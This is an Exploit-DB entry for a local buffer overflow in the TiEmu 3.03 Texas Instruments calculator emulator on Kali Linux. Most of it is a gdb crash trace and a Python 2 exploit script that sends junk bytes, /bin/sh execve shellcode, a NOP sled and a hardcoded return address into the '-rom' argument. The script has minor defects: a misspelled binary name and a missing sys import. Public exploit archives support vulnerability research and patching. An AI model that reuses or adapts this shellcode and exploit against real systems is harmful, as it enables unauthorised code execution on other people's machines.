Texas Instrument Emulator 3.03 - Local Buffer Overflow

EDB-ID:
39692

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
LOCAL

Exploit: / {}

Platform:
LINUX

Date:
2016-04-13

Vulnerable App:

```
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: Texas Instruments calculators emulator (without GDB)
# Version: 3.03-nogdb+dfsg-3
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: TiEmu emulates Texas Instruments calculators TI
9/92/92+/V200PLT.
# Kali Linux 2.0 package: pool/main/t/tiemu/tiemu_3.03-nogdb+dfsg-
3_i386.deb
# MD5sum: 79a42bb40dfa8437b6808a9072faf001
# Website: http://lpg.ticalc.org/prj_tiemu/
#
#
# Starting program: /usr/bin/tiemu -rom=$(python -c 'print "A"*80')
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
# TiEmu 3 - Version 3.03
# THIS PROGRAM COMES WITH ABSOLUTELY NO WARRANTY
# PLEASE READ THE DOCUMENTATION FOR DETAILS
#
# Program received signal SIGSEGV, Segmentation fault.
#
# 0x41414141 in ?? ()
#
# gdb$ backtrace
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb6ec9367 in __GI_raise (sig=sig@entry=0x6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb6ecaa23 in __GI_abort () at abort.c:89
#3  0xb6f07778 in __libc_message (do_abort=do_abort@entry=0x2,
fmt=fmt@entry=0xb6ffd715 "*** %s ***: %s
#4  0xb6f97b85 in __GI___fortify_fail (msg=msg@entry=0xb6ffd6fd "stack
smashing detected") at fortify_fail.c:31
#5  0xb6f97b3a in __stack_chk_fail () at stack_chk_fail.c:28
#6  0x0811beb3 in _start ()

import os,subprocess

def run():
  try:
    print "# Texas Instrument Emulator Buffer Overflow by Juan Sacco"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP

    junk = "\x41"*84
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*12
    eip = "\xd1\xf3\xff\xbf"
    subprocess.call(["tiem ",'-rom= ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, Texas Instrument emulator not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit Tiem 3.03-nogdb+dfsg-3 Local Overflow Exploit"
```

```
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
```

Tags:

Advisory/Source: Link